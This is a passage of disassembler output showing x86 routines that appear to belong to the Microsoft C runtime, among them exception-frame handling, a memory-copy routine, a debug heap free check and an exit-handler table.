[ebp+var_4], offset loc_41936C push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_431B70 sub_419340 endp ; --------------------------------------------------------------------------- loc_41936C: ; DATA XREF: sub_419340+12o mov eax, [ebp+0Ch] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+0Ch] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193A0 proc near ; CODE XREF: ___:004320C4j ; ___:004320DEj ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_423BE0 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4193A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_424150 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419410 proc near ; CODE XREF: sub_424340+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_419480 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_424840 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419480 proc near ; DATA XREF: sub_419410+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_423BE0 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_419480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194C0 proc near ; CODE XREF: sub_423F70+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_419590 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_41955C mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_41F970 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_41955C: ; DATA XREF: sub_4194C0+4Bo cmp [ebp+var_4], 0 jz short loc_419579 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419579: ; CODE XREF: sub_4194C0+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_419582: ; CODE XREF: sub_4194C0+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4194C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419590 proc near ; DATA XREF: sub_4194C0+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_4195B5 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 jmp short loc_41960C ; --------------------------------------------------------------------------- loc_4195B5: ; CODE XREF: sub_419590+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_423BE0 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_4195FB mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_419340 ; --------------------------------------------------------------------------- loc_4195FB: ; CODE XREF: sub_419590+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_41960C: ; CODE XREF: sub_419590+23j pop edi pop esi pop ebx pop ebp retn sub_419590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419620 proc near ; CODE XREF: sub_423CD0+135p ; sub_423F70+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_419679 loc_41963E: ; CODE XREF: sub_419620+54j cmp esi, 0FFFFFFFFh jnz short loc_419648 call sub_424940 loc_419648: ; CODE XREF: sub_419620+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp [eax+4], ecx jge short loc_41965F cmp ecx, [eax+8] jle short loc_419664 loc_41965F: ; CODE XREF: sub_419620+38j cmp esi, 0FFFFFFFFh jnz short loc_41966F loc_419664: ; CODE XREF: sub_419620+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_41966F: ; CODE XREF: sub_419620+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_41963E mov eax, [ebp+arg_0] loc_419679: ; CODE XREF: sub_419620+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_41968D cmp esi, edi jbe short loc_419692 loc_41968D: ; CODE XREF: sub_419620+67j call sub_424940 loc_419692: ; CODE XREF: sub_419620+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_419620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4196B0 proc near ; CODE XREF: sub_426A54+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4196C8 push [ebp+arg_0] call sub_431B70 sub_4196B0 endp ; =============== S U B R O U T I N E ======================================= sub_4196C8 proc near ; DATA XREF: sub_4196B0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4196C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4196D0 proc near ; DATA XREF: sub_4196F2+Ao ; sub_41975A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4196F1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4196F1: ; CODE XREF: sub_4196D0+10j retn sub_4196D0 endp ; =============== S U B R O U T I N E ======================================= sub_4196F2 proc near ; CODE XREF: sub_424340+C2p ; sub_426A54+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4196D0 push large dword ptr fs:0 mov large fs:0, esp loc_41970F: ; CODE XREF: sub_4196F2:loc_41974Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41974C cmp esi, [esp+1Ch+arg_4] jz short loc_41974C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41974A push 101h mov eax, [ebx+esi*4+8] call sub_419786 call dword ptr [ebx+esi*4+8] loc_41974A: ; CODE XREF: sub_4196F2+44j jmp short loc_41970F ; --------------------------------------------------------------------------- loc_41974C: ; CODE XREF: sub_4196F2+2Aj ; sub_4196F2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4196F2 endp ; =============== S U B R O U T I N E ======================================= sub_41975A proc near ; CODE XREF: sub_42441D+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4196D0 jnz short locret_41977C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41977C mov eax, 1 locret_41977C: ; CODE XREF: sub_41975A+10j ; sub_41975A+1Bj retn sub_41975A endp ; =============== S U B R O U T I N E ======================================= sub_41977D proc near ; CODE XREF: sub_424840+1Ep ; sub_424840+40p push ebx push ecx mov ebx, offset dword_443B5C jmp short loc_419790 sub_41977D endp ; =============== S U B R O U T I N E ======================================= sub_419786 proc near ; CODE XREF: sub_4196F2+4Fp ; sub_426A54+78p push ebx push ecx mov ebx, offset dword_443B5C mov ecx, [ebp+8] loc_419790: ; CODE XREF: sub_41977D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_419786 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4197A0 proc near ; CODE XREF: sub_40B943+5p ; sub_40BABA+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4197A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197C0 proc near ; CODE XREF: sub_40C1C0+Cp ; sub_41BF40+581p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4197E0 cmp edi, eax jb loc_419958 loc_4197E0: ; CODE XREF: sub_4197C0+16j test edi, 3 jnz short loc_4197FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41981C rep movsd jmp off_419908[edx*4] ; --------------------------------------------------------------------------- loc_4197FC: ; CODE XREF: sub_4197C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_419814 and eax, 3 add ecx, eax jmp dword ptr loc_41981C+4[eax*4] ; --------------------------------------------------------------------------- loc_419814: ; CODE XREF: sub_4197C0+46j jmp dword ptr loc_419918[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41981C: ; CODE XREF: sub_4197C0+31j ; sub_4197C0+8Ej ... jmp off_41989C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41982C+4 dd offset loc_41985C ; --------------------------------------------------------------------------- loc_41982C: ; DATA XREF: sub_4197C0+64o sbb byte ptr [eax-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41981C rep movsd jmp off_419908[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41985C: ; DATA XREF: sub_4197C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41981C rep movsd jmp off_419908[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41981C rep movsd jmp off_419908[edx*4] ; --------------------------------------------------------------------------- align 4 off_41989C dd offset loc_4198FF ; DATA XREF: sub_4197C0:loc_41981Cr dd offset loc_4198EC dd offset loc_4198E4 dd offset loc_4198DC dd offset loc_4198D4 dd offset loc_4198CC dd offset loc_4198C4 dd offset loc_4198BC ; --------------------------------------------------------------------------- loc_4198BC: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4198C4: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4198CC: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4198D4: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4198DC: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4198E4: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4198EC: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4198FF: ; CODE XREF: sub_4197C0:loc_41981Cj ; DATA XREF: sub_4197C0:off_41989Co jmp off_419908[edx*4] ; --------------------------------------------------------------------------- align 4 off_419908 dd offset loc_419918 ; DATA XREF: sub_4197C0+35r ; sub_4197C0+92r ... dd offset loc_419920 dd offset loc_41992C dd offset loc_419940 ; --------------------------------------------------------------------------- loc_419918: ; CODE XREF: sub_4197C0+35j ; sub_4197C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419920: ; CODE XREF: sub_4197C0+35j ; sub_4197C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41992C: ; CODE XREF: sub_4197C0+35j ; sub_4197C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419940: ; CODE XREF: sub_4197C0+35j ; sub_4197C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419958: ; CODE XREF: sub_4197C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41998C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_419980 std rep movsd cld jmp off_419AA0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_419980: ; CODE XREF: sub_4197C0+1B1j ; sub_4197C0+208j ... neg ecx jmp off_419A50[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41998C: ; CODE XREF: sub_4197C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4199A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4199A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4199A4: ; CODE XREF: sub_4197C0+1D6j ; DATA XREF: sub_4197C0+1DDr jmp off_419AA0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4199B7+1 ; --------------------------------------------------------------------------- fcomp dword ptr [ecx-65FFFFBFh] inc ecx loc_4199B7: ; DATA XREF: sub_4197C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_419980 std rep movsd cld jmp off_419AA0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_419980 std rep movsd cld jmp off_419AA0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_419980 std rep movsd cld jmp off_419AA0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_419A54 dd offset loc_419A5C dd offset loc_419A64 dd offset loc_419A6C dd offset loc_419A74 dd offset loc_419A7C dd offset loc_419A84 off_419A50 dd offset loc_419A97 ; DATA XREF: sub_4197C0+1C2r ; --------------------------------------------------------------------------- loc_419A54: ; DATA XREF: sub_4197C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_419A5C: ; DATA XREF: sub_4197C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_419A64: ; DATA XREF: sub_4197C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_419A6C: ; DATA XREF: sub_4197C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_419A74: ; DATA XREF: sub_4197C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_419A7C: ; DATA XREF: sub_4197C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_419A84: ; DATA XREF: sub_4197C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_419A97: ; CODE XREF: sub_4197C0+1C2j ; DATA XREF: sub_4197C0:off_419A50o jmp off_419AA0[edx*4] ; --------------------------------------------------------------------------- align 10h off_419AA0 dd offset loc_419AB0 ; DATA XREF: sub_4197C0+1B7r ; sub_4197C0:loc_4199A4r ... dd offset loc_419AB8 dd offset loc_419AC8 dd offset loc_419ADC ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: sub_4197C0+1B7j ; sub_4197C0:loc_4199A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419AB8: ; CODE XREF: sub_4197C0+1B7j ; sub_4197C0:loc_4199A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419AC8: ; CODE XREF: sub_4197C0+1B7j ; sub_4197C0:loc_4199A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419ADC: ; CODE XREF: sub_4197C0+1B7j ; sub_4197C0:loc_4199A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4197C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B00 proc near ; CODE XREF: sub_40C2B8+4p ; sub_431610+1Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_419B12 jmp loc_419B9A ; --------------------------------------------------------------------------- loc_419B12: ; CODE XREF: sub_419B00+Bj push 9 call sub_41B780 add esp, 4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_419B25: ; CODE XREF: sub_419B00+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_419B77 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_419B77 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_419B77 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_419B77 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_433CA8 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_419B77 int 3 ; Trap to Debugger loc_419B77: ; CODE XREF: sub_419B00+34j ; sub_419B00+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_419B25 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_415860 add esp, 8 push 9 call sub_41B820 add esp, 4 loc_419B9A: ; CODE XREF: sub_419B00+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419B00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BB0 proc near ; CODE XREF: sub_40C318+Bp ; ___:0041291Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_414E00 add esp, 8 pop ebp retn sub_419BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BD0 proc near ; CODE XREF: sub_419C90+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_417AB0 push 2 mov eax, dword_4DC7D0 push eax call sub_415CA0 add esp, 8 mov ecx, dword_4DC7CC sub ecx, dword_4DC7D0 add ecx, 4 cmp eax, ecx jnb short loc_419C5D push 68h push offset dword_433CB4 push 2 push 2 mov edx, dword_4DC7D0 push edx call sub_415CA0 add esp, 8 add eax, 10h push eax mov eax, dword_4DC7D0 push eax call sub_415260 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419C3A call sub_417AC0 xor eax, eax jmp short loc_419C7F ; --------------------------------------------------------------------------- loc_419C3A: ; CODE XREF: sub_419BD0+5Fj mov ecx, dword_4DC7CC sub ecx, dword_4DC7D0 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov dword_4DC7CC, eax mov ecx, [ebp+var_4] mov dword_4DC7D0, ecx loc_419C5D: ; CODE XREF: sub_419BD0+2Aj mov edx, dword_4DC7CC mov eax, [ebp+arg_0] mov [edx], eax mov ecx, dword_4DC7CC add ecx, 4 mov dword_4DC7CC, ecx call sub_417AC0 mov eax, [ebp+arg_0] loc_419C7F: ; CODE XREF: sub_419BD0+68j mov esp, ebp pop ebp retn sub_419BD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C90 proc near ; CODE XREF: ___:0040BD42p ; sub_4318F0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_419BD0 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_419C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CB0 proc near ; DATA XREF: ___:0043601Co push ebp mov ebp, esp push 0B6h push offset dword_433CB4 push 2 push 80h call sub_414DD0 add esp, 10h mov dword_4DC7D0, eax cmp dword_4DC7D0, 0 jnz short loc_419CE4 push 18h call sub_41A9A0 add esp, 4 loc_419CE4: ; CODE XREF: sub_419CB0+28j mov eax, dword_4DC7D0 mov dword ptr [eax], 0 mov ecx, dword_4DC7D0 mov dword_4DC7CC, ecx pop ebp retn sub_419CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D00 proc near ; CODE XREF: sub_40C33C+77p ; ___:0041239Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4DB45C nop call near ptr 2840CCAh cmp dword_4DB458, 0 jz short loc_419D38 push offset dword_4DB45C call near ptr 2840C7Bh nop push 13h call sub_41B780 add esp, 4 mov [ebp+var_4], 1 jmp short loc_419D3F ; --------------------------------------------------------------------------- loc_419D38: ; CODE XREF: sub_419D00+18j mov [ebp+var_4], 0 loc_419D3F: ; CODE XREF: sub_419D00+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_419D80 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_419D68 push 13h call sub_41B820 add esp, 4 jmp short loc_419D73 ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419D00+5Aj push offset dword_4DB45C nop call near ptr 2840C7Bh loc_419D73: ; CODE XREF: sub_419D00+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_419D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D80 proc near ; CODE XREF: sub_419D00+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_419DA3 cmp [ebp+arg_8], 0 jnz short loc_419DA3 xor eax, eax jmp loc_419F64 ; --------------------------------------------------------------------------- loc_419DA3: ; CODE XREF: sub_419D80+14j ; sub_419D80+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_419DC7 push offset dword_433CCC push 0 push 55h push offset dword_433CC0 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_419DC7 int 3 ; Trap to Debugger loc_419DC7: ; CODE XREF: sub_419D80+27j ; sub_419D80+44j xor eax, eax test eax, eax jnz short loc_419DA3 cmp [ebp+arg_0], 0 jz loc_419F16 cmp dword_4DB1B8, 0 jnz short loc_419E29 loc_419DE0: ; CODE XREF: sub_419D80+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_419E21 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_419E0D mov eax, [ebp+var_4] jmp loc_419F64 ; --------------------------------------------------------------------------- loc_419E0D: ; CODE XREF: sub_419D80+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_419DE0 ; --------------------------------------------------------------------------- loc_419E21: ; CODE XREF: sub_419D80+66j mov eax, [ebp+var_4] jmp loc_419F64 ; --------------------------------------------------------------------------- loc_419E29: ; CODE XREF: sub_419D80+5Ej mov eax, 